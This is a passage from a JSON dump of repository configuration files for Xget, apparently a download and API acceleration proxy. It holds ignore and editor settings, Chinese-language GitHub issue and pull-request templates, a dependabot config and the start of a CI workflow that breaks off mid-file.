[
  {
    "path": ".dockerignore",
    "content": "# Dependencies\nnode_modules/\nnpm-debug.log\n\n# Build outputs\ndist/\n.wrangler/\nwrangler-dist/\n\n# Tests\ntest/\ncoverage/\n*.test.js\n\n# Documentation\n*.md\ndocs/\n.github/\n\n# Git\n.git/\n.gitignore\n.gitattributes\n\n# IDE\n.vscode/\n.idea/\n*.swp\n*.swo\n*~\n\n# OS\n.DS_Store\nThumbs.db\n\n# CI/CD\n.github/workflows/\n\n# Config files not needed in build\n.prettierrc\n.prettierignore\n.eslintrc*\ntsconfig.json\nvitest.config.js\n\n# Misc\n*.log\n.env\n.env.*\n"
  },
  {
    "path": ".editorconfig",
    "content": "# http://editorconfig.org\nroot = true\n\n[*]\nindent_style = space\nindent_size = 2\nend_of_line = lf\ncharset = utf-8\ntrim_trailing_whitespace = true\ninsert_final_newline = true\n\n[*.yml]\nindent_style = space\n"
  },
  {
    "path": ".github/FUNDING.yml",
    "content": "custom: https://xi-xu.me/#sponsorships\nbuy_me_a_coffee: xixu\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.yml",
    "content": "name: 🐛 bug 报告\ndescription: 报告一个问题或错误\ntitle: \"[Bug]: \"\nlabels: [\"bug\", \"需要分类\"]\nassignees: []\n\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        感谢你花时间填写这个 bug 报告！请尽可能详细地描述问题，这将帮助我们更快地定位和修复问题。\n\n  - type: checkboxes\n    id: prerequisites\n    attributes:\n      label: 前置检查\n      description: 在提交 Issue 之前，请确认以下事项\n      options:\n        - label: 我已经搜索过现有的 Issues，确认这不是重复问题\n          required: true\n        - label: 我已经查看过文档和 README\n          required: true\n        - label: 我使用的是最新版本的 Xget\n          required: false\n\n  - type: textarea\n    id: description\n    attributes:\n      label: 问题描述\n      description: 清晰简洁地描述遇到的问题\n      placeholder: 描述你遇到了什么问题...\n    validations:\n      required: true\n\n  - type: textarea\n    id: reproduction\n    attributes:\n      label: 重现步骤\n      description: 提供重现问题的详细步骤\n      placeholder: |\n        1. 访问 '...'\n        2. 执行命令 '...'\n        3. 观察到错误 '...'\n      value: |\n        1.\n        2.\n        3.\n    validations:\n      required: true\n\n  - type: textarea\n    id: expected\n    attributes:\n      label: 期望行为\n      description: 描述你期望发生什么\n      placeholder: 应该...\n    validations:\n      required: true\n\n  - type: textarea\n    id: actual\n    attributes:\n      label: 实际行为\n      description: 描述实际发生了什么\n      placeholder: 但实际上...\n    validations:\n      required: true\n\n  - type: dropdown\n    id: platform\n    attributes:\n      label: 受影响的平台\n      description: 选择问题相关的平台（可多选）\n      multiple: true\n      options:\n        - GitHub\n        - GitLab\n        - npm\n        - PyPI\n        - Docker Hub\n        - crates.io\n        - Maven Central\n        - Homebrew\n        - Jenkins\n        - OpenAI API\n        - Anthropic API\n        - 其他 AI 推理 API\n        - 不确定/不适用\n    validations:\n      required: true\n\n  - type: dropdown\n    id: request_type\n    attributes:\n      label: 请求类型\n      description: 选择问题相关的请求类型\n      options:\n        - Git 克隆/拉取\n        - Git LFS\n        - Docker 镜像拉取\n        - 包下载 (npm/PyPI/Maven 等)\n        - AI API 推理请求\n        - 其他\n    validations:\n      required: true\n\n  - type: textarea\n    id: environment\n    attributes:\n      label: 环境信息\n      description: 提供你的环境详细信息\n      value: |\n        - 操作系统: [例如 Ubuntu 22.04, macOS 14, Windows 11]\n        - 客户端工具: [例如 git 2.40, docker 24.0, npm 10.2]\n        - 浏览器 (如适用): [例如 Chrome 120, Firefox 121]\n        - Xget 部署方式: [Cloudflare Workers / 自托管 / 其他]\n    validations:\n      required: true\n\n  - type: textarea\n    id: logs\n    attributes:\n      label: 错误日志\n      description: |\n        提供相关的错误日志、堆栈跟踪或控制台输出\n        提示: 你可以在代码块中粘贴日志以保持格式\n      render: shell\n      placeholder: |\n        粘贴错误日志...\n\n  - type: textarea\n    id: curl\n    attributes:\n      label: cURL 命令或请求示例\n      description: 如果可能，提供能重现问题的 cURL 命令或请求示例（请移除敏感信息）\n      render: shell\n      placeholder: |\n        curl -X GET \"https://your-xget-instance/gh/microsoft/vscode\" -H \"User-Agent: git/2.40\"\n\n  - type: textarea\n    id: additional\n    attributes:\n      label: 附加信息\n      description: |\n        提供任何其他有助于理解问题的上下文、截图或信息\n        提示: 你可以拖拽图片到这里上传\n\n  - type: dropdown\n    id: severity\n    attributes:\n      label: 严重程度\n      description: 这个问题对你的影响有多大？\n      options:\n        - 严重 - 核心功能完全无法使用\n        - 高 - 重要功能受阻\n        - 中 - 功能可用但有明显问题\n        - 低 - 轻微问题或不便\n    validations:\n      required: true\n\n  - type: checkboxes\n    id: contribution\n    attributes:\n      label: 贡献意愿\n      description: 你是否愿意提交 PR 来修复这个问题？\n      options:\n        - label: 我愿意提交 PR 来修复这个问题\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/config.yml",
    "content": "blank_issues_enabled: false\ncontact_links:\n  - name: 📚 文档\n    url: https://github.com/xixu-me/Xget/blob/main/README.zh-Hans.md\n    about: 查看存储库的 README 文档\n  - name: 🔁 URL 转换器\n    url: https://xuc.xi-xu.me\n    about: 访问配套 web 应用程序\n  - name: 🔐 安全漏洞报告\n    url: https://github.com/xixu-me/xget/security/policy#-%E6%8A%A5%E5%91%8A%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E\n    about: 报告安全漏洞\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/documentation.yml",
    "content": "name: 📝 文档改进\ndescription: 报告文档问题或建议文档改进\ntitle: \"[Docs]: \"\nlabels: [\"documentation\", \"需要分类\"]\nassignees: []\n\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        感谢你帮助改进文档！清晰准确的文档对存储库至关重要。\n\n  - type: dropdown\n    id: doc_type\n    attributes:\n      label: 文档类型\n      description: 这涉及哪种类型的文档？\n      options:\n        - README\n        - CLAUDE.md\n        - API 文档\n        - 部署指南\n        - 配置说明\n        - 使用教程\n        - 开发文档\n        - 代码注释\n        - 其他\n    validations:\n      required: true\n\n  - type: dropdown\n    id: issue_category\n    attributes:\n      label: 问题类别\n      description: 选择文档问题的类别\n      options:\n        - 内容缺失\n        - 内容过时\n        - 内容错误\n        - 不够清晰\n        - 示例缺失\n        - 示例错误\n        - 格式问题\n        - 翻译问题\n        - 组织结构问题\n        - 新内容建议\n    validations:\n      required: true\n\n  - type: textarea\n    id: location\n    attributes:\n      label: 文档位置\n      description: 指出具体的文档位置\n      placeholder: |\n        - 文件: README.md\n        - 章节: \"部署到 Cloudflare Workers\"\n        - 行号: 约 L123-L145\n        - URL: https://github.com/.../blob/main/...\n    validations:\n      required: true\n\n  - type: textarea\n    id: current_content\n    attributes:\n      label: 当前内容\n      description: 引用当前的文档内容（如果适用）\n      placeholder: |\n        当前文档中写的是:\n        > \"...\"\n      render: markdown\n\n  - type: textarea\n    id: issue_description\n    attributes:\n      label: 问题描述\n      description: 详细描述文档存在的问题\n      placeholder: |\n        这个文档有以下问题:\n        1.\n        2.\n    validations:\n      required: true\n\n  - type: textarea\n    id: suggested_content\n    attributes:\n      label: 建议的改进\n      description: 提供具体的改进建议或修正后的内容\n      placeholder: |\n        建议改为:\n        \"...\"\n\n        或者添加以下内容:\n        \"...\"\n      render: markdown\n    validations:\n      required: true\n\n  - type: textarea\n    id: why_important\n    attributes:\n      label: 重要性说明\n      description: 解释为什么这个改进很重要\n      placeholder: |\n        这个改进很重要因为:\n        - 现在的文档导致用户...\n        - 这是新用户常见的困惑点...\n        - 可以帮助用户更快地...\n\n  - type: textarea\n    id: user_perspective\n    attributes:\n      label: 用户视角\n      description: 从哪种用户的角度看这个文档问题？\n      placeholder: |\n        - 新用户首次部署\n        - 开发者集成 Xget\n        - 贡献者了解代码结构\n        - 运维人员配置环境\n\n  - type: textarea\n    id: examples\n    attributes:\n      label: 示例需求\n      description: 如果需要添加示例，请描述所需的示例类型\n      placeholder: |\n        希望添加以下示例:\n        - Git 克隆的完整命令示例\n        - Docker 拉取镜像的配置示例\n        - 环境变量配置的实际案例\n\n  - type: checkboxes\n    id: language\n    attributes:\n      label: 语言版本\n      description: 这个问题涉及哪些语言版本？（可多选）\n      options:\n        - label: 中文文档\n        - label: 英文文档\n        - label: 其他语言\n\n  - type: checkboxes\n    id: related_areas\n    attributes:\n      label: 相关领域\n      description: 这个文档改进可能涉及哪些领域？（可多选）\n      options:\n        - label: 快速开始指南\n        - label: 安装部署\n        - label: 配置说明\n        - label: 平台使用\n        - label: API 参考\n        - label: 故障排查\n        - label: 性能优化\n        - label: 安全配置\n        - label: 开发贡献\n        - label: 架构设计\n\n  - type: checkboxes\n    id: contribution\n    attributes:\n      label: 贡献意愿\n      options:\n        - label: 我愿意提交 PR 来改进这个文档\n        - label: 我可以帮助审阅文档改进\n\n  - type: textarea\n    id: additional\n    attributes:\n      label: 附加信息\n      description: 提供任何其他有助于改进文档的信息或建议\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feature_request.yml",
    "content": "name: ✨ 功能请求\ndescription: 建议一个新功能或改进\ntitle: \"[Feature]: \"\nlabels: [\"enhancement\", \"需要分类\"]\nassignees: []\n\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        感谢你提出新功能建议！请详细描述你的想法，这将帮助我们更好地评估和实现。\n\n  - type: checkboxes\n    id: prerequisites\n    attributes:\n      label: 前置检查\n      description: 在提交功能请求之前，请确认以下事项\n      options:\n        - label: 我已经搜索过现有的 Issues 和 PR，确认这不是重复请求\n          required: true\n        - label: 我已经查看过存储库文档\n          required: true\n\n  - type: dropdown\n    id: feature_type\n    attributes:\n      label: 功能类型\n      description: 这个请求属于什么类型？\n      options:\n        - 新协议支持\n        - 性能优化\n        - 缓存改进\n        - 安全增强\n        - 监控/日志功能\n        - 配置选项\n        - API 改进\n        - 文档改进\n        - 开发体验改进\n        - 其他\n    validations:\n      required: true\n\n  - type: textarea\n    id: problem\n    attributes:\n      label: 问题背景\n      description: 描述你想解决的问题或痛点\n      placeholder: |\n        我在使用 Xget 时遇到了...\n        当前的方式是...，但是...\n    validations:\n      required: true\n\n  - type: textarea\n    id: solution\n    attributes:\n      label: 建议的解决方案\n      description: 清晰地描述你希望实现的功能\n      placeholder: 我希望 Xget 能够...\n    validations:\n      required: true\n\n  - type: textarea\n    id: alternatives\n    attributes:\n      label: 备选方案\n      description: 描述你考虑过的其他替代解决方案\n      placeholder: |\n        我也考虑过...\n        但这个方案的问题是...\n\n  - type: textarea\n    id: use_case\n    attributes:\n      label: 使用场景\n      description: 描述具体的使用场景和预期效果\n      placeholder: |\n        场景 1: 当用户...时，这个功能可以...\n        场景 2: 在...情况下，能够...\n    validations:\n      required: true\n\n  - type: dropdown\n    id: priority\n    attributes:\n      label: 优先级\n      description: 这个功能对你有多重要？\n      options:\n        - 高 - 对我的工作流程至关重要\n        - 中 - 会显著改善使用体验\n        - 低 - 有更好，但不是必需的\n    validations:\n      required: true\n\n  - type: textarea\n    id: platform_specific\n    attributes:\n      label: 特定平台需求\n      description: 如果这是平台相关的功能请求，请提供详细信息\n      placeholder: |\n        - 平台名称:\n        - 平台 URL:\n        - API 文档:\n        - 认证方式:\n        - 特殊要求:\n\n  - type: textarea\n    id: technical_details\n    attributes:\n      label: 技术细节\n      description: 如果你有技术实现建议，请在此描述\n      placeholder: |\n        实现方式可能包括:\n        1. 在 platforms.js 中添加...\n        2. 需要处理...协议\n        3. 可能的挑战是...\n\n  - type: textarea\n    id: examples\n    attributes:\n      label: 示例和参考\n      description: 提供相关的示例、链接或参考实现\n      placeholder: |\n        - 类似实现:\n        - 官方文档:\n        - 示例请求:\n\n  - type: checkboxes\n    id: impact\n    attributes:\n      label: 影响范围\n      description: 这个功能可能影响哪些方面？（可多选）\n      options:\n        - label: 核心请求处理逻辑\n        - label: 平台配置\n        - label: 协议处理\n        - label: 缓存策略\n        - label: 安全性\n        - label: 性能\n        - label: 配置选项\n        - label: 文档\n        - label: 部署流程\n\n  - type: checkboxes\n    id: breaking\n    attributes:\n      label: 破坏性变更\n      description: 这个功能是否可能引入破坏性变更？\n      options:\n        - label: 可能需要破坏性变更\n        - label: 向后兼容\n\n  - type: checkboxes\n    id: contribution\n    attributes:\n      label: 贡献意愿\n      description: 你是否愿意参与实现这个功能？\n      options:\n        - label: 我愿意提交 PR 来实现这个功能\n        - label: 我可以提供测试和反馈\n        - label: 我可以帮助编写文档\n\n  - type: textarea\n    id: additional\n    attributes:\n      label: 附加信息\n      description: 提供任何其他有助于理解这个功能请求的信息\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/performance_issue.yml",
    "content": "name: ⚡ 性能问题\ndescription: 报告性能相关的问题或建议性能优化\ntitle: \"[Performance]: \"\nlabels: [\"performance\", \"需要分类\"]\nassignees: []\n\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        感谢你报告性能问题！请提供详细的性能指标和场景，这将帮助我们诊断和优化。\n\n  - type: checkboxes\n    id: prerequisites\n    attributes:\n      label: 前置检查\n      options:\n        - label: 我已经搜索过现有的性能相关 Issues\n          required: true\n        - label: 我已经确认这不是上游平台本身的性能问题\n          required: true\n\n  - type: dropdown\n    id: issue_type\n    attributes:\n      label: 问题类型\n      description: 选择性能问题的类型\n      options:\n        - 响应时间过长\n        - 超时错误\n        - 高延迟\n        - 带宽限制\n        - 缓存未命中\n        - 内存使用过高\n        - 并发性能问题\n        - 其他\n    validations:\n      required: true\n\n  - type: dropdown\n    id: affected_platform\n    attributes:\n      label: 受影响的平台\n      description: 哪个平台的性能出现问题？\n      options:\n        - GitHub\n        - GitLab\n        - npm\n        - PyPI\n        - Docker Hub\n        - crates.io\n        - Maven Central\n        - Homebrew\n        - Jenkins\n        - OpenAI API\n        - Anthropic API\n        - 多个平台\n        - 所有平台\n    validations:\n      required: true\n\n  - type: dropdown\n    id: operation_type\n    attributes:\n      label: 操作类型\n      description: 什么类型的操作性能有问题？\n      options:\n        - Git 克隆\n        - Git 拉取\n        - Git LFS 下载\n        - Docker 镜像拉取\n        - 包下载\n        - AI API 请求\n        - 元数据获取\n        - 其他\n    validations:\n      required: true\n\n  - type: textarea\n    id: description\n    attributes:\n      label: 问题描述\n      description: 详细描述性能问题\n      placeholder: |\n        在执行...操作时，性能明显低于预期...\n        相比直接访问上游，速度慢了...\n    validations:\n      required: true\n\n  - type: textarea\n    id: metrics\n    attributes:\n      label: 性能指标\n      description: 提供具体的性能数据\n      placeholder: |\n        - 响应时间: XX ms (预期 < YY ms)\n        - 下载速度: XX KB/s (上游直连: YY KB/s)\n        - 首字节时间 (TTFB): XX ms\n        - 总耗时: XX 秒\n        - X-Performance-Metrics 头信息: {...}\n      render: markdown\n    validations:\n      required: true\n\n  - type: textarea\n    id: reproduction\n    attributes:\n      label: 重现步骤\n      description: 提供详细的重现步骤和测试命令\n      render: shell\n      placeholder: |\n        # 测试命令\n        time git clone https://your-xget-instance/gh/user/repo\n\n        # 或使用 curl 测试\n        curl -w \"@curl-format.txt\" -o /dev/null https://your-xget-instance/...\n    validations:\n      required: true\n\n  - type: textarea\n    id: environment\n    attributes:\n      label: 环境信息\n      description: 提供详细的环境信息\n      value: |\n        - Xget 部署方式: [Cloudflare Workers / 自托管 / ...]\n        - Xget 区域: [US/EU/ASIA/...]\n        - 客户端位置: [国家/地区]\n        - 网络环境: [家庭宽带 / 公司网络 / VPS / ...]\n        - ISP:\n        - 客户端工具版本:\n        - 操作系统:\n    validations:\n      required: true\n\n  - type: textarea\n    id: resource_size\n    attributes:\n      label: 资源规模\n      description: 描述涉及的资源大小\n      placeholder: |\n        - 存储库大小: XX MB\n        - 文件数量: XX 个\n        - 单个文件大小: XX MB\n        - Docker 镜像大小: XX GB\n        - 镜像层数: XX 层\n\n  - type: textarea\n    id: comparison\n    attributes:\n      label: 性能对比\n      description: 对比 Xget 与直接访问上游的性能差异\n      placeholder: |\n        | 操作 | 通过 Xget | 直接访问上游 | 差异 |\n        |------|-----------|--------------|------|\n        | 克隆 | 30s       | 10s          | +200% |\n        | 拉取 | 5s        | 2s           | +150% |\n      render: markdown\n\n  - type: textarea\n    id: cache_info\n    attributes:\n      label: 缓存信息\n      description: 检查响应的缓存相关 Header\n      placeholder: |\n        - CF-Cache-Status:\n        - X-Cache-Status:\n        - Age:\n        - Cache-Control:\n      render: markdown\n\n  - type: textarea\n    id: network_trace\n    attributes:\n      label: 网络追踪\n      description: 如果可能，提供网络追踪信息（如 curl -v 输出的关键部分）\n      render: shell\n      placeholder: |\n        * Connected to your-xget-instance (...)\n        * TLS handshake...\n        < HTTP/2 200\n        < x-performance-metrics: {...}\n\n  - type: dropdown\n    id: frequency\n    attributes:\n      label: 问题频率\n      description: 这个性能问题多久发生一次？\n      options:\n        - 每次都发生\n        - 经常发生 (>50%)\n        - 偶尔发生 (10-50%)\n        - 很少发生 (<10%)\n    validations:\n      required: true\n\n  - type: dropdown\n    id: impact\n    attributes:\n      label: 影响程度\n      description: 这个性能问题的影响有多大？\n      options:\n        - 严重 - 完全无法使用\n        - 高 - 严重影响工作效率\n        - 中 - 造成明显不便\n        - 低 - 轻微影响\n    validations:\n      required: true\n\n  - type: textarea\n    id: expected_performance\n    attributes:\n      label: 期望的性能\n      description: 描述你期望的性能指标\n      placeholder: |\n        - 理想响应时间: < 100ms\n        - 可接受的下载速度: > 1MB/s\n        - 目标改进: 减少 50% 的延迟\n\n  - type: textarea\n    id: suggestions\n    attributes:\n      label: 优化建议\n      description: 如果你有优化建议，请在此描述\n      placeholder: |\n        可能的优化方向:\n        - 增加缓存时长\n        - 使用流式传输\n        - 优化重试策略\n        - ...\n\n  - type: textarea\n    id: additional\n    attributes:\n      label: 附加信息\n      description: 提供任何其他有助于诊断性能问题的信息\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/platform_request.yml",
    "content": "name: 🌐 新平台支持请求\ndescription: 请求添加对新平台的支持\ntitle: \"[Platform]: \"\nlabels: [\"platform\", \"enhancement\", \"需要分类\"]\nassignees: []\n\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        感谢你提出新平台支持请求！请提供尽可能详细的平台信息，以便我们评估和实现。\n\n  - type: checkboxes\n    id: prerequisites\n    attributes:\n      label: 前置检查\n      options:\n        - label: 我已经搜索过现有的 Issues，确认这个平台还未被请求或支持\n          required: true\n        - label: 这个平台是公开可访问的服务\n          required: true\n\n  - type: input\n    id: platform_name\n    attributes:\n      label: 平台名称\n      description: 请提供平台的官方名称\n      placeholder: \"例如: GitLab, Bitbucket, Quay.io\"\n    validations:\n      required: true\n\n  - type: input\n    id: platform_url\n    attributes:\n      label: 平台 URL\n      description: 平台的主要域名或网址\n      placeholder: \"例如: https://registry.example.com\"\n    validations:\n      required: true\n\n  - type: dropdown\n    id: platform_category\n    attributes:\n      label: 平台类别\n      description: 这个平台属于什么类别？\n      options:\n        - 代码存储库 (Git)\n        - 容器注册表 (Docker/OCI)\n        - 软件包注册表 (npm/PyPI/Maven 等)\n        - AI 推理提供商\n        - CDN/文件存储\n        - 其他\n    validations:\n      required: true\n\n  - type: textarea\n    id: platform_description\n    attributes:\n      label: 平台描述\n      description: 简要描述这个平台的用途和特点\n      placeholder: 这个平台是一个...，主要用于...\n    validations:\n      required: true\n\n  - type: textarea\n    id: use_case\n    attributes:\n      label: 使用场景\n      description: 为什么需要加速这个平台？具体的使用场景是什么？\n      placeholder: |\n        在中国大陆访问该平台时...\n        我的团队经常需要从该平台下载...\n        加速该平台可以帮助...\n    validations:\n      required: true\n\n  - type: textarea\n    id: api_documentation\n    attributes:\n      label: API 文档\n      description: 提供平台的 API 文档链接（如果有）\n      placeholder: |\n        - 官方 API 文档:\n        - 认证文档:\n        - 其他相关文档:\n\n  - type: dropdown\n    id: authentication\n    attributes:\n      label: 认证方式\n      description: 该平台使用什么认证方式？\n      options:\n        - 无需认证（公开访问）\n        - API Token\n        - OAuth 2.0\n        - Basic Auth\n        - Bearer Token\n        - 自定义认证\n        - 不确定\n    validations:\n      required: true\n\n  - type: textarea\n    id: auth_details\n    attributes:\n      label: 认证详情\n      description: 如果需要认证，请提供详细的认证流程说明\n      placeholder: |\n        该平台的认证流程:\n        1.\n        2.\n        3.\n\n  - type: dropdown\n    id: protocol\n    attributes:\n      label: 主要协议\n      description: 访问该平台主要使用什么协议？\n      options:\n        - HTTP/HTTPS (RESTful API)\n        - Git Protocol\n        - Docker Registry V2\n        - OCI Distribution Spec\n        - 其他/混合\n    validations:\n      required: true\n\n  - type: textarea\n    id: url_structure\n    attributes:\n      label: URL 结构示例\n      description: 提供该平台的典型 URL 结构和示例\n      placeholder: |\n        示例 URL:\n        - 下载包: https://example.com/packages/{name}/{version}\n        - 存储库克隆: https://example.com/repos/{owner}/{repo}.git\n        - API 端点: https://api.example.com/v1/...\n      render: markdown\n    validations:\n      required: true\n\n  - type: textarea\n    id: special_requirements\n    attributes:\n      label: 特殊要求\n      description: 该平台是否有特殊的 Header、参数或处理要求？\n      placeholder: |\n        - 必需的 Headers:\n        - 特殊的查询参数:\n        - 响应格式:\n        - URL 重写需求:\n        - 其他特殊处理:\n\n  - type: textarea\n    id: request_examples\n    attributes:\n      label: 请求示例\n      description: 提供一些典型的请求示例（请移除敏感信息）\n      render: shell\n      placeholder: |\n        # 示例 1: 获取包信息\n        curl -X GET \"https://example.com/api/packages/foo\"\n\n        # 示例 2: 下载文件\n        curl -X GET \"https://example.com/files/bar.tar.gz\"\n\n  - type: textarea\n    id: response_examples\n    attributes:\n      label: 响应示例\n      description: 提供典型响应的示例（可以是简化版本）\n      render: json\n      placeholder: |\n        {\n          \"name\": \"example-package\",\n          \"version\": \"1.0.0\",\n          \"download_url\": \"https://example.com/files/...\"\n        }\n\n  - type: textarea\n    id: challenges\n    attributes:\n      label: 潜在挑战\n      description: 你认为支持这个平台可能遇到哪些挑战？\n      placeholder: |\n        - 该平台使用自定义的认证方式...\n        - URL 结构比较复杂...\n        - 需要处理特殊的重定向...\n\n  - type: textarea\n    id: similar_platforms\n    attributes:\n      label: 类似平台\n      description: 列出 Xget 已支持的类似平台（如果有）\n      placeholder: |\n        这个平台类似于已支持的:\n        - npm (软件包注册表)\n        - Docker Hub (容器注册表)\n\n  - type: input\n    id: estimated_users\n    attributes:\n      label: 用户基数\n      description: 该平台的大致用户规模或你所在团队/社区的使用情况\n      placeholder: \"例如: 国内有约 XX 万开发者使用，我的团队有 20 人使用\"\n\n  - type: dropdown\n    id: priority\n    attributes:\n      label: 优先级\n      description: 这个平台支持对你有多重要？\n      options:\n        - 高 - 我们团队急需\n        - 中 - 会显著改善工作流程\n        - 低 - 有更好，但不紧急\n    validations:\n      required: true\n\n  - type: checkboxes\n    id: contribution\n    attributes:\n      label: 贡献意愿\n      options:\n        - label: 我愿意提供该平台的测试账号（如果需要）\n        - label: 我愿意协助测试平台支持\n        - label: 我愿意提交 PR 来实现平台支持\n        - label: 我可以提供更多技术文档和细节\n\n  - type: textarea\n    id: additional\n    attributes:\n      label: 附加信息\n      description: 提供任何其他有助于实现这个平台支持的信息\n"
  },
  {
    "path": ".github/dependabot.yml",
    "content": "version: 2\nupdates:\n  # GitHub Actions dependencies\n  - package-ecosystem: \"github-actions\"\n    directory: \"/\"\n    schedule:\n      interval: \"weekly\"\n      day: \"monday\"\n      time: \"09:00\"\n    open-pull-requests-limit: 5\n    commit-message:\n      prefix: \"ci\"\n      include: \"scope\"\n    labels:\n      - \"dependencies\"\n      - \"github-actions\"\n    groups:\n      docker-actions:\n        applies-to: version-updates\n        patterns:\n          - \"docker/build-push-action\"\n          - \"docker/login-action\"\n          - \"docker/metadata-action\"\n          - \"docker/setup-buildx-action\"\n    reviewers:\n      - \"xixu-me\"\n    assignees:\n      - \"xixu-me\"\n\n  # npm dependencies\n  - package-ecosystem: \"npm\"\n    directory: \"/\"\n    schedule:\n      interval: \"weekly\"\n      day: \"monday\"\n      time: \"09:00\"\n    open-pull-requests-limit: 5\n    commit-message:\n      prefix: \"deps\"\n      include: \"scope\"\n    labels:\n      - \"dependencies\"\n      - \"npm\"\n    groups:\n      cloudflare-dev:\n        applies-to: version-updates\n        patterns:\n          - \"@cloudflare/vitest-pool-workers\"\n          - \"@cloudflare/workers-types\"\n          - \"wrangler\"\n      linting:\n        applies-to: version-updates\n        patterns:\n          - \"@eslint/js\"\n          - \"eslint\"\n          - \"eslint-*\"\n    reviewers:\n      - \"xixu-me\"\n    assignees:\n      - \"xixu-me\"\n    versioning-strategy: increase\n\n  # Docker base images\n  - package-ecosystem: \"docker\"\n    directory: \"/\"\n    schedule:\n      interval: \"weekly\"\n      day: \"monday\"\n      time: \"09:00\"\n    open-pull-requests-limit: 5\n    commit-message:\n      prefix: \"deps\"\n      include: \"scope\"\n    labels:\n      - \"dependencies\"\n      - \"docker\"\n    reviewers:\n      - \"xixu-me\"\n    assignees:\n      - \"xixu-me\"\n"
  },
  {
    "path": ".github/pull_request_template.md",
    "content": "## 概述\n\n<!-- 请简要描述此 PR 的目的和改动内容 -->\n\n## 改动类型\n\n<!-- 请勾选适用的改动类型 -->\n\n- [ ] 🐛 bug 修复\n- [ ] ✨ 新功能\n- [ ] 📝 文档更新\n- [ ] 🎨 代码风格/格式调整\n- [ ] ♻️ 代码重构\n- [ ] ⚡️ 性能优化\n- [ ] ✅ 测试相关\n- [ ] 🔧 配置文件修改\n- [ ] 🌐 新增平台支持\n- [ ] 🔒 安全相关\n\n## 相关 Issue\n\n<!-- 如果此 PR 解决了某个 Issue，请在此关联 -->\n\nCloses #\nRelated to #\n\n## 改动说明\n\n<!-- 详细描述你做了什么改动，以及为什么这样做 -->\n\n### 主要改动\n\n-\n\n### 技术细节\n\n-\n\n## 测试\n\n<!-- 描述你如何测试了这些改动 -->\n\n- [ ] 已通过所有现有测试 (`npm run test:run`)\n- [ ] 已添加新的测试用例\n- [ ] 已在本地开发环境测试 (`npm run dev`)\n- [ ] 已验证代码格式 (`npm run format:check`)\n- [ ] 已通过类型检查 (`npm run type-check`)\n- [ ] 已通过 lint 检查 (`npm run lint`)\n\n### 测试环境\n\n<!-- 描述测试的环境和场景 -->\n\n-\n\n## 影响范围\n\n<!-- 此改动会影响哪些部分？ -->\n\n- [ ] 核心请求处理逻辑\n- [ ] 平台配置\n- [ ] 协议处理 (Git/Docker/AI)\n- [ ] 缓存策略\n- [ ] 安全功能\n- [ ] 性能监控\n- [ ] 文档\n- [ ] CI/CD 流程\n\n## 破坏性变更\n\n<!-- 此 PR 是否包含破坏性变更？如果是，请详细说明 -->\n\n- [ ] 是\n- [ ] 否\n\n<details>\n<summary>破坏性变更详情</summary>\n\n<!-- 如果有破坏性变更，请在此详细说明 -->\n\n</details>\n\n## 部署说明\n\n<!-- 部署此改动时需要注意什么？是否需要环境变量配置？ -->\n\n-\n\n## 截图/演示\n\n<!-- 如果适用，请提供截图或演示 -->\n\n## Checklist\n\n- [ ] 代码遵循存储库的编码规范\n- [ ] 已进行自我代码审查\n- [ ] 代码注释清晰，特别是复杂逻辑部分\n- [ ] 已更新相关文档\n- [ ] 改动不会产生新的警告\n- [ ] 已添加必要的测试，且测试通过\n- [ ] 新增和现有的单元测试都通过\n- [ ] 依赖的改动已合并并发布\n\n## 附加说明\n\n<!-- 其他需要审查者知道的信息 -->\n"
  },
  {
    "path": ".github/workflows/ci.yml",
    "content": "name: CI\n\non:\n  push:\n    branches:\n      - main\n    paths-ignore:\n      - \"**.md\"\n      - \"LICENSE\"\n      - \".gitignore\"\n      - \".editorconfig\"\n      - \".vscode/**\"\n      - \"docs/**\"\n      - \".prettierrc*\"\n      - \".eslintrc*\"\n      - \".github/ISSUE_TEMPLATE/**\"\n      - \".github/PULL_REQUEST_TEMPLATE/**\"\n  pull_request:\n    branches:\n      - main\n    paths-ignore:\n      - \"**.md\"\n      - \"LICENSE\"\n      - \".gitignore\"\n      - \".editorconfig\"\n      - \".vscode/**\"\n      - \"docs/**\"\n      - \".prettierrc*\"\n      - \".eslintrc*\"\n      - \".github/ISSUE_TEMPLATE/**\"\n      - \".github/PULL_REQUEST_TEMPLATE/**\"\n  workflow_dispatch:\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.ref }}\n  cancel-in-progress: true\n\npermissions:\n  contents: read\n\njobs:\n  lint:\n    name: Lint\n    runs-on: ubuntu-latest\n    timeout-minutes: 10\n    steps:\n      - name: Checkout\n        uses: actions/checkout@v6\n\n      - name: Setup Node.js\n        uses: actions/setup-node@v6\n        with:\n          node-version: \"24\"\n          cache: \"npm\"\n\n      - name: Install dependencies\n        run: npm ci\n\n      - name: Run ESLint\n        run: npm run lint\n\n      - name: Check formatting\n        run: npm run format:check\n\n  test:\n    name: Test and Coverage\n    runs-on: ubuntu-latest\n    timeout-minutes: 15\n    steps:\n      - name: Checkout\n        uses: actions/checkout@v6\n\n      - name: Setup Node.js\n        uses: actions/setup-node@v6\n        with:\n          node-version: \"24\"\n          cache: \"npm\"\n\n      - name: Install dependencies\n        run: npm ci\n\n      - name: Run tests\n        run: npm run test:run\n        env:\n          CI: true\n\n      - name: Generate coverage report\n        run: npm run test:coverage\n        env:\n          CI: true\n\n      - name: Normalize coverage paths for Codecov\n        run: |\n          python - <<'PY'\n          from pathlib import Path\n\n          path = Path(\"coverage/lcov.info\")\n          lines = path.read_text(encoding=\"utf-8\").splitlines()\n          normalized = []\n\n          for line in lines:\n            if line.startswith(\"SF:\"):\n              normalized.append(\"SF:\" + line[3:].replace(\"\\\\\", \"/\"))\n            else:\n              normalized.append(line)\n\n          path.write_text(\"\\n\".join(normalized) + \"\\n\", encoding=\"utf-8\")\n          PY\n\n      - name: Show normalized coverage file entries\n        run: grep '^SF:' coverage/lcov.info | head\n\n      - name: Upload coverage to Codecov\n        uses: codecov/codecov-action@v5\n        with:\n          files: 